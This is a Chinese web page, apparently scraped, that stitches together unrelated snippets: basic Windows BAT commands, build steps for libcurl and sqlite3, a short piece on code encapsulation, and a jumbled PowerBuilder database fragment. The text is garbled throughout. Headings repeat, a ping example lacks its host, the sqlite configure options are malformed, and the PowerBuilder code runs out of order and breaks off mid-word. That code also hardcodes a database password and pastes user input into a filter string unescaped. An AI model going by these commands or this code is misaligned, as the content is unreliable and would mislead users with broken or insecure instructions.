本文将为大家介绍BAT文件常用代码大全,希望对大家有所帮助。

一、文件操作。

1. 创建文件夹。

在BAT文件中,可以使用mkdir命令来创建文件夹。

例如:mkdir new_folder。

2. 复制文件。

使用copy命令可以实现文件的复制操作。

例如:copy file1.txt file2.txt。

3. 删除文件。

使用del命令可以删除文件。

例如:del file.txt。

4. 移动文件。

使用move命令可以实现文件的移动操作。

例如:move file1.txt folder1。

5. 重命名文件。

使用ren命令可以实现文件的重命名操作。

例如:ren file1.txt new_file.txt。

二、系统管理。

1. 关闭计算机。

使用shutdown命令可以实现关闭计算机的操作。

例如:shutdown /s /t 0。

2. 重启计算机。

使用shutdown命令也可以实现重启计算机的操作。

例如:shutdown /r /t 0。

3. 注销用户。

使用shutdown命令还可以实现注销用户的操作。

例如:shutdown /l。

4. 查看系统信息。

使用systeminfo命令可以查看系统的详细信息。

例如:systeminfo。

5. 清理磁盘空间。

使用cleanmgr命令可以清理磁盘空间。

例如:cleanmgr。

三、网络操作。

1. Ping命令。

使用ping命令可以测试网络连接。

例如:ping 。

2. 显示IP配置。

使用ipconfig命令可以显示网络的IP配置信息。

例如:ipconfig。

3. 显示路由表。

使用route命令可以显示网络的路由表信息。

例如:route print。

4. 显示网络连接。

使用netstat命令可以显示网络的连接信息。

win libcurl编译

win libcurl编译

win libcurl编译为了在Windows上编译libcurl,您可以按照以下步骤进行操作:1. 安装Visual Studio:前往Microsoft网站下载并安装适用于Windows的Visual Studio开发环境。

确保选择适用于您的系统的适当版本,例如Visual Studio 2019。

2. 下载libcurl源代码:访问libcurl的官方网站(https://curl.se/download.html)下载最新的libcurl源代码压缩文件。

3. 解压源代码文件:使用解压工具,例如WinRAR或7-Zip,将下载的源代码压缩文件解压到目标文件夹。

4. 打开VS开发人员命令提示符:在Windows开始菜单中找到Visual Studio文件夹,选择您的Visual Studio版本,并打开相应的开发人员命令提示符。

5. 导航到libcurl源代码文件夹:使用`cd`命令导航到您解压的libcurl源代码文件夹。

6. 配置编译选项:在命令提示符中运行以下命令来配置编译选项:```nmake /f Makefile.vc mode=dll WITH_DEVEL=C:\ssl-include-dir```其中,`C:\ssl-include-dir` 是您的OpenSSL开发包的路径,可以将其替换为您的实际路径。

7. 开始编译:运行以下命令开始编译libcurl:```nmake /f Makefile.vc```编译过程可能会持续一段时间。

8. 检查编译结果:一旦编译完成,您将在源代码文件夹中找到生成的libcurl库文件(例如`libcurl_imp.lib`和`libcurl.dll`)以及其他相关文件。

现在,您已经成功在Windows上编译了libcurl。

您可以使用生成的库文件和头文件将libcurl集成到自己的项目中。

sqlite3编译lib

sqlite3编译lib

sqlite3编译libSqlite3 是一个轻量级的关系型数据库管理系统,可以嵌入到其他应用程序中使用。

它是一个开源的项目,许多操作系统和编程语言都支持它。

这篇文章将针对编译Sqlite3 的lib 库进行详细的步骤解释。

编译Sqlite3 的lib 库有许多方法,本文将介绍其中一种常用的方法。

在开始之前,请确保你已经安装了适当的编译工具和环境。

同时,你还需要获取Sqlite3 的源代码,可以从官方网站或者其他可靠的资源站点上下载。

第一步:下载和解压源代码首先,访问官方网站(Sqlite3 源代码的文件夹。

第二步:打开命令行界面在开始编译之前,我们需要打开命令行界面。

在Windows 系统上,你可以按下Win + R 键,然后输入"cmd" 并按下回车键来打开命令提示符。

在Linux 或者MacOS 中,你可以打开终端来执行后续的命令。

第三步:进入Sqlite3 源代码目录使用命令行界面进入保存了Sqlite3 源代码的文件夹。

你可以使用"cd"命令来改变目录。

例如,如果Sqlite3 源代码保存在你的桌面上的一个名为"sqlite" 的文件夹中,你可以使用以下命令进入该目录:cd Desktop/sqlite第四步:配置编译选项在进入Sqlite3 源代码目录后,我们需要配置编译选项。

Sqlite3 提供了许多选项,可以根据你的需要进行自定义配置。

一种常用的配置选项是"enable-shared" 和"disable-static"。

这将允许你编译共享库文件而不是静态库文件。

共享库文件可以由其他程序动态加载和链接。

另一个常用的配置选项是"prefix",它允许你指定一个安装目录。

这样,编译后的库文件和头文件就可以被其他项目使用。

以下是一个示例配置命令:./configure enable-shared disable-staticprefix=/usr/local/sqlite执行此命令将根据你的配置生成Makefile。

src封装方法

src封装方法

src封装方法
在软件开发中,"src"通常用于指代源代码文件夹(source folder),其中存放着项目的源代码文件。

封装方法(encapsulation methods)是一种将代码逻辑和功能封装在可复用、独立、模块化的单元中的技术。

当在"src"文件夹中进行代码封装时,以下是一些常见的方法:
1. 创建模块化文件:将相关功能组织到单独的文件中,以便将它们分离开来并降低耦合性。

每个模块通常对应一个具体的功能或任务。

2. 使用类和对象:使用面向对象编程的原则,将相关的属性和方法封装到一个类中,以创建可重用且易于维护的代码。

这样可以实现数据和行为的封装,并通过实例化对象来使用封装的方法。

3. 创建函数库或工具类:根据功能类型,将相关的函数封装到单独的文件或类中,形成一个函数库或工具类。

这样,您可以在项目的其他部分中引用并使用这些封装的方法。

4. 使用命名空间:在大型项目中,可能会存在多个模块或组件,为避免命名冲突,可以使用命名空间(namespace)将相关的功能封装在一个命名空间下。

这样,每个命名空间中的方法和变量将不会与其他命名空间冲突。

5. 使用封装器或装饰器:在某些情况下,您可能需要对现有代码进行封装或添加额外的功能。

您可以使用封装器或装饰器模式,将现有的方法包装起来,以添加新的逻辑或功能。

在"src"文件夹中进行代码封装时,关键是将相关的代码逻辑和功能封装到独立、可复用的模块中,以提高代码的清晰度、可读性和可维护性。

选择合适的封装方法取决于具体的项目需求和开发环境。

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  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
open(mywindow)
end if
——————————mywindow中的open事件代码————————————
//mydw是mydatawindow在mywindow中的实例名
mydw.SetTransObject(SQLCA) //为数据窗口myDW设置事务对象
mydw.Retrieve() //读取数据
——————————mywindow中的查询按钮的clicked事件代码————————————
//设置过滤字符串
string filterString = "";
if Len(lineName.Text) > 0 then
//此处的#3对应于数据窗口中的第三个字段,以此类推
filterString = "#1 like '%" + lineName.Text + "%'";
——————————myapp中的open事件代码————————————
//SQLCA是PowerScript内置的事务对象
SQLCA.DBMS="ODBC" //设置数据库连接方式
SQLCA.AutoCommit=False //SQL语句在程序中执行后,是否自动提交到数据库
SQLCA.DBParm="ConnectString='DSN=Pbdbtest;UID=DBA;PWD=sql'" //数据库连接字符串
connect using SQLCA; //开始连接
if SQLCA.sqlcode <> 0 then //连接失败,弹出错误提示框
messagebox("提示!","连接数据库失败 原因" + SQLCA.sqlerrtext)
return
else //连接成功,打开主窗口
messagebox("提示!","连接数据库成功")
//filterString = "#2 = " + sle_1.Text + "";
end if
//为数据窗口添加过滤
mydw.SetFilter(filterString);
mydw.Filter();
//重新读入数据
m
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